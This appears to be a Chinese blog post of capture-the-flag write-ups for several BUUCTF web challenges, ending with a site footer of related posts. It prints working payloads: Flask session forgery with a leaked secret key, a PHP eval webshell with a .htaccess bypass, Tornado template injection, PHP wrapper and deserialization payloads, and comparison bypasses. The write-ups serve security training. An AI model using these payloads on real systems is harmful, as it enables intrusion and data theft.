[HCTF 2018]admin

打开环境,有三处提示,一个跳转链接,一个登录注册,一个提示不是admin

点击hctf,无法访问

注册个账号,依旧无法查看,看来需要admin账号

弱口令

爆破密码

当密码未123长度明显不同

登录

session伪造

在修改密码界面,提示session

下载该源码查看,index.php

{% include('header.html') %}
{% if current_user.is_authenticated %}
<h1 class="nav">Hello {{ session['name'] }}</h1>
{% endif %}
{% if current_user.is_authenticated and session['name'] == 'admin' %} //session的name=admin才行
<h1 class="nav">hctf{xxxxxxxxx}</h1>
{% endif %}
<!-- you are not admin -->
<h1 class="nav">Welcome to hctf</h1> {% include('footer.html') %}

session值

.eJw9UE2PgjAQ_SubOXuQghcTD26KRpJpgykh04txEYFC3QQ1QI3_faubeJi8w_uYN_OAw7kvrzUsb_29nMGhOcHyAV8_sASy2iCvFqgokHk8IaOB8t1c8nYSLB00_65lvumkykZy-xpNHAmXhTpPvDN2wsYM7d6QWjPhUoeqCsh6ncVRvjTce_mmIdOGMscFuXgSvJgLtgu812PKSPkOeRaJ7aYjV4V6mwV6S6Pku0mbtfPZkZ8VPGdQXPvz4fbblpfPCWiKQShiyNKQTDUK489wSatNNiBvI-SFr-5XqaR5IZmTwWr1jmvssSo_SWVXx1n6z1yO1hNw649FCzO4X8v-_TcI5vD8A-s4bN0.Z7qRbQ.v-Ap7KW-T8GzuEtnu2WDl_-2plg

在config.py中

import os
class Config(object):
SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123' //secret_key=ckj123
SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
SQLALCHEMY_TRACK_MODIFICATIONS = True

工具下载

git clone https://github.com/noraj/flask-session-cookie-manager

解密:

python3 flask_session_cookie_manager3.py decode -c .eJw9UE2PgjAQ_SubOXuQghcTD26KRpJpgykh04txEYFC3QQ1QI3_faubeJi8w_uYN_OAw7kvrzUsb_29nMGhOcHyAV8_sASy2iCvFqgokHk8IaOB8t1c8nYSLB00_65lvumkykZy-xpNHAmXhTpPvDN2wsYM7d6QWjPhUoeqCsh6ncVRvjTce_mmIdOGMscFuXgSvJgLtgu812PKSPkOeRaJ7aYjV4V6mwV6S6Pku0mbtfPZkZ8VPGdQXPvz4fbblpfPCWiKQShiyNKQTDUK489wSatNNiBvI-SFr-5XqaR5IZmTwWr1jmvssSo_SWVXx1n6z1yO1hNw649FCzO4X8v-_TcI5vD8A-s4bN0.Z7qRbQ.v-Ap7KW-T8GzuEtnu2WDl_-2plg -s ckj123

解密结果,这里我们需要将name改成admin

{'_fresh': True, '_id': b'bfc0891659a23f0ab48927d0d0a9ae951c4a218757ebff136a62dca06743185bda2c19bfd1e81bb979c9c124747b56a47d6a6c1e84aec87de5df1822f03a08a0', 'csrf_token': b'2705663d7b8161232df50098071c1452bc14b7c2', 'image': b'zXDQ', 'name': 'track', 'user_id': '10'}

进行session伪造

python3 flask_session_cookie_manager3.py encode -t "{'_fresh': True, '_id': b'bfc0891659a23f0ab48927d0d0a9ae951c4a218757ebff136a62dca06743185bda2c19bfd1e81bb979c9c124747b56a47d6a6c1e84aec87de5df1822f03a08a0', 'csrf_token': b'2705663d7b8161232df50098071c1452bc14b7c2', 'image': b'zXDQ', 'name': 'admin', 'user_id': '10'}" -s ckj123

伪造的session

.eJw9UE2PgjAQ_SubOXuQghcTD26KBpJpgykh04txEYFi3QQ1QI3_faubeJi8w_uYN_OA_amvrg0sb_29msG-PcLyAV8_sASy2iCvF6gokEU8IaOBimQueTcJlg2afzey2JylykdyuwZNHAmXh7pIvTN2wsYM7c6QWjPhMoeqDsh6ncVRvjTce_mmJdOFssAFuXgSvJwLlgTe6zFjpHyHIo_EdnMmV4d6mwd6S6PkyaTN2vnsyM8KnjMor_1pf_vtqsvnBDTlIBQxZFlIph6F8We4tNMmH5B3EfLSV_erVNq-kMzRYL16x7X2UFefpOrcxHn2z1wO1hNwONr2AjO4X6v-_TcI5vD8A-oIbNE.Z7qUFw.wgQI2lOZR0DLoEc8neo5vNoDBaU

在初始页面包中修改session,拿到flag

[MRCTF2020]你传你呢

本题:上传一句话木马判断过滤方式,白名单/黑名单,成功绕过之后,找上传路径,访问该路径,如果没有解析出来,需要抓包上传.htaccess文件,使上传的木马文件正常解析,然后再次访问木马文件,成功解析之后再用蚁剑链接

当我们上传文件时,会随机生成上传路径(即一个目录),如果只是单独的一个shell.jpg是无法正常解析的,需要.htaccess文件使在同一目录下被包含的文件正常解析,如下

打开环境,是文件上传

这里测试之后发现过滤了php,phtml等文件,而且上传的木马文件会无法解析,所以这题需要利用文件绕过

上传图片马文件,然后查看路径,会发现浏览器无法正常解析

上传一个htaccess文件然后抓包修改

然后上传木马文件

track
<?php @eval($_POST["a"]);?>

访问该路径,正常解析

使用蚁剑连接即可

[护网杯 2018]easy_tornado

打开环境,有三处跳转

逐个查看

flag.txt,提示flag在/fllllllllllllag

welcome.txt,给了一个render

hint.txt,告诉了一个格式md5(cookie_secret+md5(filename))

在访问的时候我们注意到,url存在相同格式

url/file?filename=/文件名&filehash=32位小写md5

所以说这题应该是要利用flag路径然后找到cookie_secret然后进行md5加密,结合题目应该是tornamo模板注入漏洞

当报错时,会有一个msg参数,会回显输入的值

看看{{7*7}}

在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量,这里面就存在我们需要的cookie_secret

拿到之后就可以加密求解了

md5(1aafd574-698c-4ae2-9caa-80f45c8af977+md5(/fllllllllllllag))
#md5(1aafd574-698c-4ae2-9caa-80f45c8af9773bf9f6cf685a6dd8defadabfb41a03a1)
#6150fe6edda96aee462235e6fe5e6b9d

拿到flag

[ZJCTF 2019]NiZhuanSiWei

打开环境,是如下源码

 <?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ //用了强比较===,检查text变量是否是welcome to the zjctf
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; //是则输出
if(preg_match("/flag/",$file)){ //禁止了file变量中存在/flag字符串
echo "Not now!";
exit();
}else{
include($file); //useless.php //可能需要读取useless.php
$password = unserialize($password); //将password反序列化
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

先用data url绕过第一层

url?text=data://text/plain,welcome to the zjctf

利用php伪协议读取useless.php

url/?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

base64解码得到useless.php的源码

<?php  

class Flag{  //flag.php   //定义Flag类
public $file; //定义file属性,存储文件路径或文件名。由于它是公共的,外部代码可以直接访问和修改它。
public function __tostring(){ //一种魔术方法,当对象被当作字符串使用时会被自动调用,如echo,print
if(isset($this->file)){
echo file_get_contents($this->file); //打印file属性指向的文件
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

进行序列化

拿到序列化内容

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

进行拼接得到最终pyload

http://9d48ea6b-724a-4517-b3d8-a12b5eb11352.node5.buuoj.cn:81?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

查看源码得到flag

[MRCTF2020]Ez_bypass

打开环境,是如下源码

I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) { //get方式传入gg和id两个参数
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) { //====强比较,md5值相同,本身不同
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd)) //如果不是纯数字,进入下一层
{
if($passwd==1234567) //检查passwd位1234567,
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
} }
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}Please input first

第一层

利用数组绕过

第二层

这里需要利用php特性,==是弱比较类型,由于php是一种弱语言,所以在比较时会自动转化位同一类型,这里利用了intval函数,而本体函数不能是纯数字,并且也必须=1234567,故可以用数字+字符拼接绕过,因为字符不会被转换,及1234567aa=1234567

拿到flag

BUUCTF-Web方向21-25wp的更多相关文章

  1. Python Web 方向(一)

    Python Web 方向(一) --------Django站点创建 文章地址:http://www.cnblogs.com/likeli/p/5821744.html Python版本:2.7 推 ...

  2. web方向编程语言最全对比

    web方向编程语言最全对比 目前一般公司的后台用的开发语言大概有以下几种:java,python,php,asp.net,c++,node.js,ruby on rails 等. java 优点:性能 ...

  3. BUUCTF WEB

    BUUCTF 几道WEB题WP 今天做了几道Web题,记录一下,Web萌新写的不好,望大佬们见谅○| ̄|_ [RoarCTF 2019]Easy Calc 知识点:PHP的字符串解析特性 参考了一下网 ...

  4. C# ASP .NET WEB方向和WPF方向,我该如何去选择

    一个2012年南航毕业学软件的学生,该如何去选择我的职业方向? 2011年11分月份,我被老师介绍在南京珠江路华丽国际大厦工作,开发一个大型国际物流平台,公司的开发人员比较少,设计网站的是高校的老师, ...

  5. Java开发工程师(Web方向) - 02.Servlet技术 - 第1章.Servlet

    第1章--Servlet Servlet简介 Servlet应用于? 浏览器发出HTTP请求,服务器接收请求后返回响应给浏览器. 接收请求后到返回响应之间: 服务器将请求对象转交给Servlet容器 ...

  6. BuuCTF Web Writeup

    WarmUp index.php <html lang="en"> <head> <meta charset="UTF-8"> ...

  7. 序-WEB方向指南

    WEB 这个方向其实是目前从业人员最多的方向,也是学习安全门槛最低的方向,当然也是最容易恰饭的方向. 我从入行到现在也依旧没有脱离它,毕竟在我这个小城市.小圈子里,不干这个好像就要没饭吃了,但是你说它 ...

  8. Java面试题复习笔记(Web方向)

    1.Http中get和post请求的区别? 共同点:都是Http请求方式,用户可以通过不同的请求方式完成对资源(Url)的操作.具体来讲就是get一般用于获取/查询资源信息,post用于更新资源信息. ...

  9. Java开发工程师(Web方向) - 04.Spring框架 - 期末测试

    Spring框架客观题 Spring框架编程题 http://blog.csdn.net/sinoacc/article/details/51702458 1 (25分) 假设有如下数据表: crea ...

  10. Java开发工程师(Web方向) - 04.Spring框架 - 第5章.Web框架

    第5章--Web框架 Web框架概述 Web框架单元测验 本次得分为:13.50/15.00, 本次测试的提交时间为:2017-09-25 1单选(2分) 关于Spring MVC中Dispatche ...

随机推荐

  1. Flex 弹性布局备忘录

    概述 Flex 是 Flexible Box 的缩写,意为"弹性布局",用来为盒状模型提供最大的灵活性 这也是我目前用的最多的一种布局方案,相比Grid布局此种布局方案相对较简单, ...

  2. angr-ctf

    angr 的项目地址 https://github.com/jakespringer/angr_ctf angr实战 00 拖到IDA 就是输入正确的指令才能通关 这次试一下用angr来解题 goah ...

  3. Mysql8忽略大小写的解决方案

    ​一.删除服务器数据文件 由于8.0没法设置参数后重启(失败),所以必须删掉老库,重新启动才行. 切记::本步骤要删掉老库所有资料,如果是数据库当前有用,请做好备份,再进行操作. systemctl ...

  4. COSBrowser文件编辑-随时随地在线编辑

    本文介绍如何通过COSBrowser文件在线编辑功能更方便的使用云上存储的数据. 痛点分析 日常工作和生活中,我们需要把记录的文档.编写的文案.音视频文件保存管理好,又担心设备损坏.文件丢失或是更换设 ...

  5. jdk安装-windows和linux

    下载:见此博客https://www.cnblogs.com/zn19961006/p/12857930.html 一.windows安装 1.很简单,运行exe,然后一直下一步 选安装路径. 注意: ...

  6. Windows下,terminal美化、命令行美化

    1. Terminal terminal 比 原生的 cmd 要更加好用 直接去 Micorosoft Store 下载就行了 2. 美化效果图 3. 美化步骤 3.1 需要的插件 git-alias ...

  7. docker-安装Oracle11g

    获取镜像 在线   docker pull oracleinanutshell/oracle-xe-11g 离线 tar包下载:链接: https://pan.baidu.com/s/1bRp6mSq ...

  8. 从 ftp 上下载文件、文件夹

    下载子文件夹: wget -r -nH --cut-dir=1 ftp://ip/folder_name/ 下载压缩文件: wget ftp://ip/folder_name/folder_name/ ...

  9. Qt/C++编写物联网组件/支持modbus/rtu/tcp/udp/websocket/mqtt/多线程采集

    一.功能特点 支持多种协议,包括Modbus_Rtu_Com/Modbus_Rtu_Tcp/Modbus_Rtu_Udp/Modbus_Rtu_Web/Modbus_Tcp/Modbus_Udp/Mo ...

  10. Qt编写安防视频监控系统46-视频存储

    一.前言 在整个视频监控系统的开发迭代升级过程中,遇到过各种奇奇怪怪的需求,都是客户提出来的,有些需求很合理,有些就不那么的自然了,牢记这客户是上帝的原则,能满足的尽量满足.相信各位同行的研发人员都会 ...